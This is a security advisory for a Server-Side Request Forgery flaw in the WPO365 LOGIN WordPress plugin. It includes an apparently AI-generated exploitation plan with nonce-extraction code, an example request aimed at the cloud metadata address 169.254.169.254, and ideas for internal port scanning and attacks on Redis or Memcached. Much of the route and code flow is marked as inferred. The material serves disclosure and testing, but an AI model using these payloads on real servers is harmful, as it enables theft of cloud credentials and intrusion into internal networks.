WPO365 <= 40.0 - Authenticated (Subscriber+) Server-Side Request Forgery
Description
The WPO365 | SEAMLESS WORDPRESS + MICROSOFT INTEGRATION (WPO365 | LOGIN) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 40.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=40.0What Changed in the Fix
Changes introduced in v40.1
Source Code
WordPress.org SVNThis research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the **WPO365 | LOGIN** plugin (version <= 40.0). The vulnerability lies in the plugin's "Microsoft Graph Proxy" feature, which allows authenticated users to make arbitrary web requests. ### 1. Vulnerabili…
Show full research plan
This research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the WPO365 | LOGIN plugin (version <= 40.0). The vulnerability lies in the plugin's "Microsoft Graph Proxy" feature, which allows authenticated users to make arbitrary web requests.
1. Vulnerability Summary
The WPO365 plugin provides a REST API proxy to facilitate communication with Microsoft Graph. This proxy endpoint fails to properly validate the destination of the requests, allowing authenticated users (with at least Subscriber-level access) to redirect these requests to arbitrary internal or external URLs. This is a classic SSRF that can be used to scan internal networks, access cloud metadata services (e.g., AWS/GCP metadata), or interact with internal services that rely on IP-based authentication.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wpo365/v1/graph(inferred from documentation and plugin architecture). - Method:
POSTorGET. - Vulnerable Parameter:
url(inferred). - Authentication: Required (Subscriber or higher).
- Preconditions:
- Plugin version <= 40.0 installed.
- A valid Subscriber account.
- A valid REST API nonce (
wp_rest).
3. Code Flow (Inferred)
- Registration: The plugin registers a REST route in a class (likely
Wpo\Rest\Service) usingregister_rest_route('wpo365/v1', '/graph', ...). - Permission Check: The
permission_callbackfor this route likely usesis_user_logged_in(), allowing any authenticated user (Subscriber+) to access it. - Proxy Logic: The callback function (e.g.,
proxy_request) retrieves theurlparameter from theWP_REST_Request. - The Sink: The plugin uses
wp_remote_get()orwp_remote_post()(or a wrapper aroundcurl) to fetch the content of the providedurlwithout verifying that it belongs tograph.microsoft.com. - Output: The response from the arbitrary URL is returned to the attacker.
4. Nonce Acquisition Strategy
The WordPress REST API requires a nonce for non-GET requests (and often for GET requests when using certain authentication schemes). Since we are attacking an authenticated endpoint, we must obtain the wp_rest nonce.
- Login: Use the execution agent to log in as a Subscriber.
- Navigation: Navigate to the WordPress Dashboard (
/wp-admin/). - Extraction: WordPress automatically localizes the REST API settings into the
wpApiSettingsJavaScript object. - Execution Agent Command:
If// Use browser_eval to extract the nonce const nonce = await browser_eval("window.wpApiSettings?.nonce");wpApiSettingsis unavailable, the nonce can be found in the page source via regex:_wpnonce["\s:]+([a-f0-9]{10}).
5. Exploitation Strategy
We will use the http_request tool to communicate with the REST API.
- Target URL:
http://<TARGET_HOST>/wp-json/wpo365/v1/graph - Payload (External Listener): Use a
urlparameter pointing to a listener (e.g., Interactsh or a custom server) to confirm the request originates from the WordPress server. - Payload (Internal/Metadata):
http://169.254.169.254/latest/meta-data/(AWS) orhttp://localhost:80(Internal port scanning).
Example Request:
POST /wp-json/wpo365/v1/graph HTTP/1.1
Host: <TARGET_HOST>
Content-Type: application/json
X-WP-Nonce: <EXTRACTED_NONCE>
Cookie: <SUBSCRIBER_COOKIES>
{
"url": "http://169.254.169.254/latest/meta-data/",
"method": "GET"
}
6. Test Data Setup
- Install Plugin: Ensure WPO365 version 40.0 is installed.
- Create User: Create a user with the Subscriber role.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Environment: Ensure the WordPress server can reach the target of the SSRF (e.g., a test internal service or a mock metadata server).
7. Expected Results
- Success: The response will contain the HTTP response body of the URL provided in the
urlparameter. For example, if targeting AWS metadata, the response will show metadata categories. - HTTP Status: A successful proxy request will likely return
200 OKwith the proxied data. - Evidence: The server logs of the target URL (the "sink") will show an incoming request from the WordPress server's IP address.
8. Verification Steps
- Check Plugin Version:
Confirm it iswp plugin get wpo365-login --field=version40.0or lower. - Log Review: After the exploit, check the WordPress server's access logs to verify the
POSTrequest to/wp-json/wpo365/v1/graph. - Callback Verification: If using an external listener, confirm that the User-Agent in the received request matches the default WordPress user agent (e.g.,
WordPress/X.X.X; http://...).
9. Alternative Approaches
- GET Request: Try passing the payload via a GET request if POST is blocked or requires additional parameters:
GET /wp-json/wpo365/v1/graph?url=http://internal-service/ - Header Injection: Check if the proxy allows passing custom headers (e.g., via a
headersJSON key), which could be used for more advanced SSRF exploitation (like attacking internal Redis or Memcached instances). - Vulnerable File Discovery: If the REST route is not
/graph, scan for other routes under thewpo365/v1namespace using:wp rest route list --namespace=wpo365/v1
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.